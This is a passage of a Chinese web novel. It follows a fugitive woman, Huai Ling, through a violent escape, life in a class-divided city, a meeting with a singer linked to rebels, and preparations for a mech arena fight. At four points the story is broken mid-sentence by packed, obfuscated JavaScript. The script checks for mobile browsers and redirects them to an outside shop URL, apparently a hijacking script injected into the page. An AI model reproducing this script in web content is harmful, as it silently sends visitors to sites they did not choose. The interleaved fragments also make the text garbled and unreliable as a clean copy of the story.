l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305924|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身而退的可能性。 槐翎的身体比她的大脑反应还要快些,她迅速翻身爬上身后用作掩体的车辆顶上,然而装甲车的重量非一般人能比,她刚刚翻身爬上去还未固定好身体就感觉车辆在一阵冲击后挤压成碎片,玻璃与金属在冲击下四处散开,车辆的框架冲破了车辆的外壳像是利刃破开了槐翎的身体,她没忍住发出了一声哀嚎。 温热的鲜血不可控地从她肩膀的伤口流下,而她挽起来的头发也在此时散开,红发像绸缎一样包围了槐翎,此时的她比起沐浴在鲜血之中,更像是在火焰中伫立。 从装甲车上走下来一名拿着武器的卫兵,枪口对准槐翎,他没戴面罩,所以槐翎轻易就能认出来那是来见过自己两次的卫兵。 “你还有投降的机会。”卫兵盯着槐翎,他瞳色是浅灰色的,冷漠又无情。 槐翎明白,如果她拒绝,恐怕他会把弹匣清空,而自己身上会多出来数十个弹孔。 寒冷与失血让她头晕目眩,她强撑着把身上的武器都卸下来扔在脚边,又把双手举起,展示自己投降的意愿。 卫兵在用目光确认了一会后才谨慎地走近,他拿枪的手很稳,没有其他卫兵那样的犹豫,槐翎心想这个人或许就是隐藏在卫兵中的秘密小队成员。 他逐步靠近,把槐翎脚边的武器统统踢开,枪口抵在槐翎的腰间,如果他开枪的话,槐翎就会失去任何行动能力。 槐翎并未轻举妄动,她依旧高举着自己的手,任由卫兵检查她是否隐藏有武器。 远方再次传来轰轰隆隆的雷声,深秋竟然还会下暴雨,真是闻所未闻。 卫兵后退了半步,示意槐翎背过身去,看样子是要给她上镣铐了。 等到枪口稍稍移开些,槐翎倏地绷紧了腿部的肌肉,膝盖抬起,伸展小腿劈向卫兵的头部,她力气很大,把小腿弹出去的时候像鞭子一样击破雨和风发出呼啸的声音,下一秒她的小腿碰到了卫兵的头部,没有防护的头部在槐翎的攻击下发出一声巨响,卫兵的白眼翻了上去,鼻孔流出两道血,染红了他的领口,而他并未马上晕厥。 卫兵的另一只手竟然用力地抓住了槐翎的脚踝,他像是在发泄怒火一般把槐翎甩了出去,槐翎没能保持平衡,她重重地倒在地上,发出一声闷哼,等她回过神来便看见卫兵捂着头摇摇晃晃地拿枪瞄准她。 这强大的意志力让槐翎更加确定他的身份,她忍着身上的疼痛,把早早就藏在自己手背的玻璃碎片夹在指间,在这个距离,她有更大的胜算。 第三道闪电照亮了一片狼藉的高速公路,耀眼如同白昼,卫兵看见槐翎的红发被风吹起像向自己袭来的弓箭,明明手腕上是长期被镣铐磨出的疤痕,她却依旧带着胜券在握的笑容,手臂暴起充血的肌肉和那带着反射光藏在指间的玻璃碎片昭示了卫兵两秒后的结局。 他清晰地感觉到自己的喉咙被割开,大动脉处的鲜血喷洒在槐翎的身上,洗濯了槐翎身上的脏污,他仰头倒下,身下溅起冰冷的积水。 槐翎没有给自己喘息的时间,她快速地搜罗一遍能够派上用场的武器,把自己武装起来后又找到了一辆尚未被撞毁的车辆,根据电台的信息,增援已经在路上,如果她没听错的话,那能够劈开雨水迅速赶来的增援便是直升机了。 槐翎启动车辆,关掉上面所有定位装置,动作未有半刻延误。 她该往哪里去? 到哪里都好,只要能够摆脱这些烦人的增援。 雨下得越来越大了,槐翎看不清眼前的路,她能听见螺旋桨的声音,低沉、烦闷,随之而来的是大口径子弹在高速公路炸开的声音,槐翎的血尚未止住,她感觉自己也因为出血开始变得昏昏沉沉的,身体也冷得在发抖。 车辆的速度越来越快,身后的追击逐步接近,仿佛下一秒那子弹就会落在她的身上,把她的身体炸得四分五裂。 她的心跳加快了,似要脱离她胸腔的束缚。 槐翎此刻心里只有一个念头:她槐翎绝对不能死。 30. 第 30 章 在B区巨大的街头LED屏幕前,新闻主播正在以不同于平日的兴奋口吻播报新闻,不少行人都驻足看新闻的内容。 “自两年前与X国的战争拉开帷幕以来,我方的特别部队屡次赢得区域胜利,一周前,我方将领成功摧毁敌国的营地并俘虏敌方将军,今日,X国正式派出使者传达希望保持和平的意愿……” 与此同时,社交媒体上的用户也因为这条新闻变得异常活跃起来。 “打了两年终于打赢了,老早就看这个国家不爽了!” “听说会割地给我们,真是太逊了哈哈哈哈。” “原来战胜国是这么爽的啊?下次还要继续打其他国家!” “又有一批人要住进A区了吧,羡慕死了。” “楼上的IP都在B区了,怎么还不满足啊?不如和我的D区换一下?” “有没有我们的胜利集锦啊?没别的意思,就是单纯想看看我们的泰坦部队有多帅气!” “听我舅舅说,这次部队里有个人特别猛,听说皇帝很赏识他……” “这个星球除了我们国家还有别的势力存活了吗?怕不是我们都要统一了吧!” 到了下午,大屏幕里出现了两国使者签订《和平条约》的直播,被打败的X国付出了惨痛的代价,战胜国的国土将会再次扩张,并且能够免关税在战败国倾销各类产品。 没人注意到直播角落里擦眼泪的使者团,他们面露愁容,即使穿着最体面的定制套装也无法掩饰内心的痛苦与挣扎。 翌日,皇帝就签署了一份文件,从这一天起将会开展为期一周的庆祝活动,每个区都会全身心投入庆祝活动里去,除了一个区。 E区的民众倒是不怎么关心什么庆祝活动,他们和往常一样觅食、寻求生存的机会,初春还是带有一丝寒意的,有些年老的民众聚集在一起,组成了小小的营地,他们把捡来的垃圾堆到一起后燃烧,以此来取得些许温暖。 “什么狗屁不通的庆祝…成为侵略者竟然还有脸了。”一个缺了牙的老人用树枝搅了搅燃烧着的纸张,黑色的烟雾熏得人直流泪,他眯着眼睛,说起话来都含糊不清。 “战争不都这么个事吗?不是输就是赢,烧钱去侵略别人还不如给我们装点暖气呢,X的,真是有够XX的。”另外一个瞎了眼的老头也跟着骂骂咧咧,他拢紧了身上的破衣裳,试图多获得些温暖。 “他们投放到战场的一台泰坦都够我们吃一辈子了,这个国家是不是出了什么问题啊?” “喂,多放点垃圾进去,我快冷死了……X的,今年的天气怎么回事啊,冷死人了。”瞎眼老头又嘟哝着骂了两句,旁边缩着的几个小孩沉默不语,他们浑身脏兮兮的,身上散发着恶臭,头上的深色头发也结成了块。 “希望上面搞庆祝活动能多扔些垃圾下来,脚上的冻疮一直下不去……”缺牙老头嘿嘿地笑了起来,不知道是因为冻疮这件事觉得好笑,还是庆祝活动这件事好笑,他的笑声干巴巴的,倒有几分苦中作乐的意思 没过多久,天上淅淅沥沥地又下起了小雨,他们用垃圾拼凑起来的遮雨棚派上了用场,但寒意又浓了些,呼出来的白气包围着他们的脸,让人看不真切他们的表情。 “唉X的,这场雨也下好久了,这个国家到底出什么问题了?” * 身穿深色斗篷的人走进E区角落里的酒吧,夜晚的酒吧是E区最为受欢迎的区域,在酒精的作用下,大家都忘记了些前尘往事,有些人放声歌唱,有些人醉醺醺地说着胡话,有的人看似清醒,实际大脑早就陷入了幻想之中。 这家名为“地狱”的酒吧是由几个年轻人经营的,虽然没办法和E区最大的酒吧“涅槃”竞争,不过由于酒保的健谈,依旧吸引了一批忠实客户。 于是当酒吧看到那熟悉的身影时,他很快就想起来出了今天是什么日子。 “还是一样的鸡尾酒吗?”他停下了擦拭杯子的动作,炯炯有神的眼睛试图在来客身上多找到些回应。 客人从口袋里拿出一枚硬币,沉默地推了过去。 酒保对这个客人印象十分深刻,她很少说话,全身总是包裹在斗篷里,长得比一般女性高大些,有时候伸出来的右手手臂能看到上面的肌肉线条。 她几乎没有喝醉的时候,来的时候也只会点一杯简单的鸡尾酒,喝酒的时候沉默不语,从不搭理其他人的搭讪。 上次有两个男客人想邀请她出去玩,她反手就拿刀切断了他们的手指,后面那两人再也没来店里了。 酒保其实觉得那两个男客人也挺可怜的,毕竟他们只是想带她出去玩玩,并没有恶意,女客人这个反应倒是有些过激了。不过他自然是没勇气和女客人说出自己观点的。 他有旁敲侧击问过女客人是什么人,但女客人只是把沾了血的刀放在吧台上,示意他不要再问下去了。 酒保也识趣地闭嘴了,毕竟E区里人什么都有,最不缺的就是这种出手狠厉的人。 赤红的鸡尾酒做好递给了客人,酒保小心翼翼地观察客人的神情。 她脱下了头上的兜帽,露出一张精致又富有攻击性的脸,红色的头发盘在脑后,有几根发丝挂在耳边,薄唇轻轻抿住杯壁,她喝了一口,眼睛从酒液上转移到酒保的脸上。 酒保的脸有些红了,他这才意识到自己看客人的脸看呆了,这样的行为可以说是冒犯了,他连忙背过身去装作清理架子。 身后悬挂着的电视机正在播放近期的新闻,关于侵略战争胜利的新闻正在来回重播,酒保不得不承认现在看到主播的那张脸都有些反感。 关于战争胜利的话题已经来来回回讨论有好几天了,待到女客人的酒快喝完时,一名带着口罩的男客人走了进来。 他身材高大,留着一头微卷的头发,皮肤白皙,虽然穿着风衣也不损他周身流露出的吸引力,漂亮的眼睛下长了一颗泪痣,恰好地中和了他硬朗的身材,看上去多了几分柔和。 他微笑着和酒保打招呼,又扭过头去和其他客人挥手,笑起来的时候亲和力十足,他大大咧咧地坐在女客人的旁边,装作没注意到女客人撇来的眼神。 “我要一杯和她一样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321193|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 酒保应了声好,然后就忙着调酒去了。 “新闻看了?”男客人自然地和女客人搭话,女客人少有地没有摆脸色,不过一如既往地冷淡,轻轻地点了头。 “我这里有个情报,你应该会感兴趣。”男客人转过身去,直面女客人,他虽然带着口罩,但任谁看了都知道他是个英俊甚至可以用魅惑二字来形容的人。 “说说看。”女客人面不改色地喝完最后一点的酒,身后喝醉的人开始胡言乱语,盖住了他们的对话。 “这次战争胜利的主要功臣是皇帝的直属特殊部队,听说他们近期会来E区,尚且不知道他们的目的是什么,但目前为止,只要是他们出手的任务,都能掀起血雨腥风。” 女客人沉默了片刻,从口袋里摸出硬币,又递给了酒保。 “继续说。” “不管是对你还是我来说,都挺不妙的,我会尽量搜集更多情报,在这之前你不要轻举妄动,实在不行你离开E区一段时间避避风头。” 酒保把红色的鸡尾酒放到男客人面前,收下了女客人的硬币。 “能知道是谁吗?总不会是一个部队都来吧。” “不知道,不过里面最受瞩目的是一个叫苍恃的男性,根据线人的情报,大概率就是他过来了。” “苍恃?”女客人思考了片刻,没能想起来什么,“不认识。” “我们也没什么资料,这个人神秘的很,连照片都没一张,不过听说他在前线表现得跟不要命似的,这次捣了那个国家的营地也是他的功劳。” 女客人抿唇,她带着些嘲讽,弯了弯嘴角:“不愧是皇帝的走狗。” “跟谁做狗不是狗,倒不如跟最强的人做狗。”男客人耸肩,他拉下口罩一口气把鸡尾酒喝完,女客人觉得这话说得倒有些道理,于是没有反驳。 “认真的,你要不要躲一下,现在的你可是一名‘死人’”男客人敛起笑容,他郑重地盯着女客人,语气染上了几分紧张。 女客人看了眼贴在酒吧入口处的通缉照,上面密密麻麻地都是不同人的照片,或许她的照片就埋藏在里面。 “这里的人有几个不是早该死的?”女客人翻了个白眼,“你不用担心我。” “我有自己的行事风格。”她补充了一句。 男客人苦笑,知道自己是劝不动了。 “阿翎,你真的不考虑加入我们吗?只要加入我们,你也不用这样四处流浪。” “殷肆,不管你问多少次我都不会答应的。”她放在桌子上的手指慢慢收紧,眼里满是寒意。 “如果那人威胁到我了,我会亲自杀了他。” 被称作殷肆的男客人静静地看着她,她和五年前第一次见面的完全没变,依旧是那么的强大,好像这个世上没什么能够阻止她。 “谢谢你的酒。”殷肆叹了口气,又整理好脸上的口罩,起身就要离开,他在E区能够逗留的时间不长,更不能暴露自己的身份。 他拢紧了身上的风衣,半张脸掩盖在衣领之中,又朝旁边的人挥挥手才走。 31. 第 31 章 槐翎站在高架桥底,她看向灰蒙蒙的天空,这场雨下了很久,脚边的不远处有好几处积水,倒影里是破败的E区。 自从那次逃出之后,陆续有不少卫兵前来追击,槐翎不记得自己是怎么逃脱的,她不断地奔跑,从不回头看去,哪怕子弹和雨水夹杂着落到她的身上。 她久违地感受到了恐惧,是一种真真切切地感受到不愿死去的渴望,这份恐惧反而激发了她隐藏在体内的力量。 她曾忍着剧痛为自己开刀取出子弹,也曾为自己找来工具固定骨折的手臂,后来她逃到了B区,饥饿和疲惫快要将她淹没,于是她学会了偷盗。 第一次的时候她还会感觉到羞愧,她从未做过抢夺他人财物的事情,但是她不想就这么死去,于是她便也学会毫无负担地享用他人的食物,在他们干净整洁的高级公寓里踩上自己脏污的脚印。 后来有人发现了她这个盗贼,她这个本该行刑的重罪犯,于是人们驱赶她,捕捉她,想要将她送上绞刑架。 在B区的生活持续了不过半年就匆忙结束了,槐翎离开了,她只带着自己磨得锋利的小刀,那是她的利齿,是她生存的依仗。 警车和卫兵的车辆像是约好的,他们的警笛响彻整个B区,卫兵的咒骂声和警笛组合在一起,像是一场盛大的演出,槐翎藏在自己抢来的警车,她开在最前面,感受着身后无数的追兵,初夏的风吹过她的头发,吹走她所有的伪装。 所以她开心地笑了,自父母被软禁后,她少有地显露自己的情绪,但是那一天不一样,她笑得癫狂,笑出了眼泪,身后的警车和卫兵急得团团转,阻拦她的全部手段都使上了,而前面的槐翎像是女巫,根本无法追踪她的身影。 她像是一个旅行者,一头钻进了繁华热闹的C区。 和B区的精致科幻不同,C区更有人情味一些,作为人口数量排行第二的区域,C区有着特有的温暖,C区的住民获得了大部分的中层岗位,他们也更遵守规则,繁忙的轨道交通是他们生存的必需品。 槐翎曾花过一天的时间去感受最繁忙时期的轨道交通,她头一次感受到这样的画面,穿着整洁的人们带着疲惫的表情踏上工作的列车,又在列车上沉默地沉迷在社交网络,他们把自己的世界封闭起来,既看不见也听不清。 他们很有礼貌和距离感,在踩到槐翎的脚时,他们甚至来不及看到槐翎的脸就脱口而出一句抱歉。 槐翎觉得这样很有意思,她的穿着和气质和C区格格不入,要是放在B区恐怕还有些迷惑性,但C区的人们只是淡淡地看了她一眼,而后又低下头。 她也曾经去过三口之家的家里,她是个不速之客,闯入了那小小家庭里的小小世界,成为了破坏他们平淡安稳生活的辛辣调味品。 她和三口之家的小女孩交谈,小女孩睁着眼睛看向槐翎,最后只发出一句感叹。 “姐姐,你真奇怪。” 槐翎不知道她指的哪方面,是衣着,还是外貌,还是她的行为? 因为此时她正在摸三口之家的父亲换下来的裤子口袋,从里面拿出了一包刚开封的烟。 她旁若无人地把烟伸向明火炉灶,在深深吸了一口后,她的脸埋在白色的烟雾里,小女孩静静跟着她身后,好像槐翎是个幽灵。 “爸爸说抽烟不好。”她皱着眉头说。 “我帮你爸爸把烟消灭了,你应该感谢我。”槐翎如此说道。 小女孩努努嘴,没想到怎么反驳槐翎。 在C区生活了两年后,槐翎终于对这样平淡的生活感到了厌烦,她安静地离开了。 在通过C区的关卡时,有人曾经认出过槐翎,他大吵大闹,希望能够得到关注,但CD区的关卡实在过于拥挤,在每一个为了生活奔波挣扎的人身上,都无法找到任何生命力的迹象。 来到了拥有最大人口数量的D区,槐翎觉得想要好好深呼吸一次都有些困难,她游走在街头,观察过街边一个卖手工制品的中年人,他的手艺实在糟糕,因此就算价格很低,也没能吸引什么客人。 她也观察过在小店铺里的庞大家庭,好几个小孩围坐在一起,他们努力地想要完成学校布置的作业,但简单的数学题都足够让他们抓耳挠腮。 槐翎记得自己还是这个岁数的时候,已经拿下无数个满分了。 她以极其低廉的价格找到了一个房间用于休息,房间很小,简单的床铺旁边放了个洗手池,连转身都有些困难。 但她的邻居在这个房间里住了好多年,后来他结婚组建家庭,再后来他有了两个孩子,槐翎无法想象他们的生活。 槐翎尝试和D区的其他人交流,却发现他们连简单的交流都有些困难,不是字面意思上的不识字,而是无法理解言语中的逻辑关系。 在D区她见过很多人,有喝醉后对妻儿动粗的男性,有在酒吧里买醉郁郁寡欢的中年人,有因为生活压力崩溃在路边的女性,有考试成绩不理想在家门口嚎啕大哭的孩子,也有无人照顾死去多日才被发现的老人。 “既然他打你,为什么你不和儿子一起离开?” “工作很痛苦的话,为什么不换份轻松的工作?” “压力很大的话,眼泪也改变不了什么。” “有这功夫后悔,为什么当初不努力学习?” “与其把希望寄托在后代身上,为什么自己不好好生活?” 槐翎如此说道,除了最后的老人,所有人都给了她一个白眼。 后来槐翎才明白过来,原来他们根本没有其他选择,因为离开了丈夫就没有了经济来源;因为D区里根本没有轻松的工作可以更换;因为她已患有不治之症,命不久矣;因为她的生活环境很恶劣,甚至没有一张桌子能让她完成作业;因为老人的后代同样贫穷,甚至无法养活自己。 槐翎像个天神,站在高高在上的云层上,看着痛苦挣扎的人间,最后她闭上了嘴巴。 她什么都做不到,仅凭她一个人的力量太微小了,她可以去让金库的大门敞开,却做不到让这些人脱离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337828|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现有的生活。 因为阶级已经固定下来,这个社会需要有人在D区。 之后槐翎退掉了那个狭窄的房间,她成为了三名年轻女性的室友,因为她的加入,另外三名女性很高兴。 因为她们从未见过外面的世界,而槐翎怎么看都不属于D区。 她们早出晚归工作,一半的薪资用于支付房租和食物,剩下的钱她们会存起来,听说存款只要到一定金额,她们就能去C区生活。 很多人都抱有这样的想法,但是槐翎知道那是不可能的。 她们三个并不是什么姐妹,只不过是偶尔认识的朋友,谈论的话题总是围绕工作、八卦和恋爱,到了深夜她们总会讨论自己的伴侣,有时对象会是工作地的同事,有时会是网络认识的网友。 而这个时候她们总会对槐翎充满好奇心,缠着槐翎问她的往事。 槐翎对于恋爱没什么特别的看法,她也是人,曾经在年少时对异性产生过特殊的情感,她也曾大胆追求过,虽然那造成了毁灭性的打击,不仅是对槐翎,还是对那个人。 如今,她的人生还没有思考这种事的余裕。 “像你这样的外貌,想要什么样的男人没有?我真的很羡慕你啊。”酒后的女性说话比起平时要直白不少,槐翎只淡淡一笑并未回应。 “那,你的理想型是什么?” 她喝了好几瓶啤酒,内心也多了几分放松,竟然真的认真思考起来。 脑海里只有一个模模糊糊的身影,除了能看出是一名男性,别的信息再也看不见了。 “得是个温柔的人才行。”槐翎随口说道,至少得受得了她的脾气才能一起生活下去。 然而另外三人早就因为醉酒呼呼大睡起来,槐翎叹了口气,一一把她们抱起送回房间,又花了点时间把凌乱的大厅收拾好。 这样平淡的生活持续了很久很久,久到槐翎都快要忘记自己为什么会在这里。 她们依旧努力生活,会全心全意地去爱他人,也会因为摇摆不定的生活感到痛苦压抑。在她们身边的男性换了好几批,他们好像是什么特别的幽灵,通常出现了几个月后就会突然消失,再无踪影,她们会笑,会哭,再过一段时间再次投入新的恋情中。 槐翎以一个旁观者的身份看了许久,直到一天深夜,槐翎站在厨房安静地抽着烟时,在旁边房间停止传来暧昧的声音后,一名只穿着短裤的男性来到她的身边,用不怀好意地眼光打量槐翎。 槐翎身边就是一把菜刀,她抱着手臂,站在那里等待了有几分钟,男性并未有更多行动,目光却愈发放肆。 她还记得几天前,那个女性曾经满脸幸福地说她订婚了,终于。 槐翎把烟蒂按在水槽上,身影隐入了黑暗,她意识到自己该离开了。 一大笔现金放在大厅的桌面上,这笔钱足够她们三个富足地生活好一段时间了,该怎么利用这笔巨款应该能让她们苦恼好一阵子。 不过槐翎觉得,她们还会留在D区的。 32. 第 32 章 雨终于停了。 槐翎的手机收到了来自殷肆的消息,三天后就会有人来到E区,调查的时长未定,恐怕不是两天就结束的短途旅行。 她突然间有了很不好的预感,几乎是本能地,她开始翻看自己的枪柜。 就算是在E区,她也不太可能随身携带大型枪械大摇大摆地走在街上,于是一把隐秘并且小型的武器就显得十分重要。 槐翎思考了片刻,决定做两手准备。 她可以在得知调查员的住所后进行狙击,也可以潜入他们的住所进行近身攻击,槐翎更倾向于后者,这样她就能顺便问出些情报。 于是她游走在E区的角落,在购置了自己需要的枪-支部件后,回到自己的安全屋,对部件进行改造、组装,在做好准备工作后,她又前往E区的废弃掩埋场,对自己改装的枪支进行试射。 她本来就擅长射击,鲜少出错的机会,看着一个个倒下的靶子,槐翎感觉心里的烦闷也减少了几分。 只有掌握了绝对的力量,才会让她有安全感。 而殷肆不知道从哪得知她的去向,竟然插着裤袋就潇洒地等在槐翎的身后。 掩埋场只有他们两个人,殷肆也就没有遮挡面部。 槐翎挑眉看向殷肆,把枪-支都收起来,好整以暇地等待殷肆开口说话。 殷肆只是看着槐翎动作流畅又迅速地把杀人的利器收起来,他觉得那双手如果用来演奏乐器肯定能发出美妙至极的乐曲。 “怎么了,大明星?”槐翎把包放在脚边,殷肆总是这样看着她不说话,她有时候觉得殷肆也是个十足的怪人。 “你听过我的歌吗?”殷肆突然问。 槐翎愣了一下,没想到殷肆会问起这个问题。她是来到E区才认识的殷肆,但早在C区的时候,大街小巷都在放殷肆的专辑,就算想不听也很难做到。 那些和她同居的女性们,也买过殷肆的专辑,还会在大厅放置殷肆的海报,所以在看到殷肆的第一眼,槐翎就知道了他的身份。 “没听过也没关系,这是我的演唱会门票。”说完,他从口袋里掏出一张票,槐翎并未接过去,“你是要我离开E区?” “是。”殷肆点头,他眉头微蹙,“恐怕这次来头不小,你也要小心为上。” “是冲着反抗军来的?”槐翎反问。 “八九不离十,这段时间我也不能来E区了,正好有演唱会做掩护。如果你想的话,可以跟着我的车走,我还是能给你一点庇护的。” 槐翎想了一下,最终还是摇头拒绝了。 殷肆有些失望,但也料到槐翎会拒绝,他把门票收回,骨节分明的手再次藏在口袋里,掩饰了他的紧张。 “我也有事情想打探,所以跟他们接触是最直接的。” “你还要和他们接触?不要命了?”殷肆大惊失色,实在理解无法槐翎的脑子里在想什么。 “我终有一天会回去A区的,就算他们要把我带回去,我也有自信活命。”槐翎心意已决,没有人能够影响她的决策。 殷肆叹了口气,不再劝槐翎离开。 他的手机也不断响起提示音,提醒他要尽快离开E区。 * 槐翎花了一天做好准备后感觉心里踏实了不少,她小憩片刻补充了些许体力,又翻来覆去思考殷肆的话来。 当初和殷肆碰面纯粹是巧合,她孤身一人来到E区,身上只带了些许行李,在离开列车后,一辆红色的跑车停在她的面前,从车上走下来一个怎么看都和E区格格不入的人。 虽然遮挡了面部,只露出了一双漂亮的眼睛,槐翎还是认出来他的身份,两个人就这么站在路边直愣愣地盯着对方。 盯了好像有一个世纪那么长。 “你盯着我看干什么?”槐翎皱眉,她转身就想离开。 “槐翎?”他带着些许迟疑,甚至能听出来些许雀跃。 槐翎不记得自己和这个歌手见过面,她狐疑地侧过头去,想看看这人怎么会认识自己,又怎么会出现在E区。 “抱歉,我应该先自我介绍的。”他意识到自己的唐突,于是清了下嗓子,颇为正经地站在槐翎面前,他当时穿着休闲装,头发上还带有闪片,好像是从什么活动赶过来的。 “我是殷肆。” “我知道你。”槐翎依旧保持着警戒,她的右手在口袋里,而她紧紧抓着一把小刀,如果殷肆有什么不该有的举动,她就会马上划破他那张漂亮的脸。 “看来我还是挺红的?”他有些腼腆地笑了,眼睛弯弯的,看上去十分讨喜。 “我还以为你…真的死了。”他说这话时语气有些复杂,而且还真自来熟,槐翎蹙眉,装作没感受到这份亲昵。 她是不认识殷肆的,而这个人却好像很关注她的举动,好像他们是什么多年的朋友。 “我这个人命比较硬,说吧,有什么事?” “没有,只是……”他挠了挠头,又慌张地从口袋里拿出一张名片,“这是我的联系方式,如果你感兴趣的话请联系我。” “对什么感兴趣?”槐翎没有接过名片,“我不怎么听歌。” “我不是这个意思。”殷肆再次让自己的声音压低了些,“我是说,我是反抗军的人。” 槐翎的眼神瞬间变得锐利起来,她紧紧抿着唇,手里的小刀在此刻出鞘,虽然旁边有不少人盯着他们看,但槐翎有自信能够逃脱这个范围。 “你不用紧张,其实大家都知道我是谁……”殷肆连忙安抚马上要爆发的槐翎,他把名片硬塞到槐翎的手里,又取下脸上的口罩,露出一个灿烂的笑容,这个笑容可以拿人畜无害来形容。 槐翎不知道这个人到底想做什么,但确实没从他身上感受到什么恶意,于是只好把名片收了下来。 就这么一来二去,他们倒是真的成为了朋友。 槐翎是没想到一个红透半边天的歌手会和反抗军有联系,这几年反抗军的发展并不怎么好,在皇帝的打压下他们的势力已经不能和以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357138|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前相比,本来就是靠着一股怨气组成的团体,在接二连三的打击下,好一部分人也不得不因为现实的原因离开,现在剩下的人也不知道是出于执念,还是什么目的,反正还在继续着反抗行动,但能造成的影响极为有限。 看来E区就是反抗军的大本营了,殷肆都有胆量直接说出自己的身份,还隐隐有了拉拢槐翎的心思,槐翎不是傻子,她自然不会加入一个马上就要被击溃的组织。 从一开始他们的行动方针就是错误的,接二连三的破坏与示威不会得到什么正向反馈,反而大家都会厌恶这样给社会造成麻烦的蛀虫,如果得不到民众支持,那这个组织离失败不远了。 槐翎不明白殷肆为什么这么执着于反抗军,她觉得倒不如早点解散罢了,但每每谈论到这些的时候,殷肆只是露出苦笑并未回答。 他定是有什么苦衷的,但他明面上还有一个歌手的身份,这份执着只会害了他。 槐翎的手机轻微震动了一下,看来是殷肆发来的。 “确定了,会有一个人来E区,根据线报,他没带很多人,还会在竞技场停留一段时间,现在还不知道他要在竞技场做什么,但这么低调的话肯定是不想被人发现他的身份。” 槐翎刚看完这条消息,殷肆又紧跟着发来一条消息。 “无论如何,你都不能对他动手!他要是死了E区会很麻烦!听到了吗!”后面接了好几个表达生气的表情包。 槐翎思考了片刻,最后回了一个句号。 “句号是什么意思?!你到底有没有听进去?我要上台了你真的要小心点”殷肆打字很快,不过都要上台了怎么还有闲心发消息啊?槐翎把手机收起来,心里有了别的想法。 或许她可以混进去竞技场,这样就能名正言顺和皇帝的狗接触了。 只要匿名,再把脸遮住,谁会认得出她是槐翎? 既然如此,她还需要花点时间弄来一台泰坦参加比赛,要不要真的打比赛还不一定,如果那人对冠军感兴趣,她真打个冠军回来也不成问题。 槐翎的动作很快,她去了一趟竞技场,化名成0号,迅速给自己报了名,在提交照片这个环节,她戴上全覆盖的头盔,面对镜子比了个V字。 完成了报名,她找到了一个专门为竞技场猴子提供泰坦的回收店,说是提供泰坦,他们也不过是在垃圾场捡点报废的泰坦,自己更换零件后缝缝补补简单修理一下,只要能动就行。 槐翎没打算在泰坦上花什么精力,她在回收店逛了一圈,最后看中了一台旧款的泰坦,曾经是军队量产的型号,服役超过二十年,三年前就被军方彻底淘汰,性能还不错,只是超过年限后会显现出各种问题,能到达回收店的泰坦或多或少都有些硬伤。 槐翎左看看右看看,觉得真让她修也没什么,于是痛快地买了下来。 在回去的路上槐翎顺带买了些零件,等到泰坦送到的时候,她也正好到了安全屋。 还有两天时间,她还能好好整备自己的泰坦。 33. 第 33 章 “女人?女人能驾驶泰坦?”休息室传来了粗暴的咒骂声,刚刚在竞技场的所有猴子都收到了比赛的安排表,作为本次比赛的大热门,梳着莫西干头的男子显然有些不满。 “哼,这些狗屎股东想要话题度想疯了,竟然安排本大爷和一个女人比赛,你看到她的照片了吗?”莫西干头骂骂咧咧地,他穿着破旧的迷彩服,有心人一眼就能看出那是旧款的军装。 旁边的人纷纷附和他的话语,又因为说的话没什么营养,莫西干头又骂了一通,手里的酒在他手舞足蹈的时候洒了一半在地上。 “看大爷我怎么秒杀她,嘿嘿,要是输了的话我要让她脱光跪下给我做奴隶……”他舔了舔干燥的嘴唇,眼里都是邪念。 “老大,她的泰坦好像和我们是同款。” “她懂什么泰坦,我的泰坦可是跟着我上了战场的,我们之间的羁绊是谁也打不过的!” 在另一个休息室里的槐翎此刻正忙着为泰坦修改操作系统,她盘腿坐在边上,手指在键盘上快速编程,在她身后的泰坦正发出微弱的光芒,快速地接收槐翎编写的文件。 和旁边人员充足且热闹的休息室不同,槐翎这边倒显得冷清,她腰间挂了把手枪,眼睛时不时往门口看去,如果有什么人不长眼要搞小动作,她就会马上射杀。 调试好系统后,槐翎启动泰坦上去测试了一下实机,动作虽然还是不够流畅,但是对付其他对手完全足够了,她明天才有出场机会,正巧,明天就是来人的日子,她披了件外套,和衣就在泰坦的驾驶舱内睡下。 一夜无梦,槐翎还以为会有人过来做点什么,看来其他人都没把她放在眼里,只要在台上淘汰她赚点奖金都足够了。 槐翎心想他们要是真做点什么说不定还有赢的机会,这下到了台上可是神仙都难救。 主持人激昂的声音响彻整个竞技场,好像前面有哪个特别厉害的选手,因为表现出色,惹得观众惊呼连连,奖池的金额也跟着水涨船高。 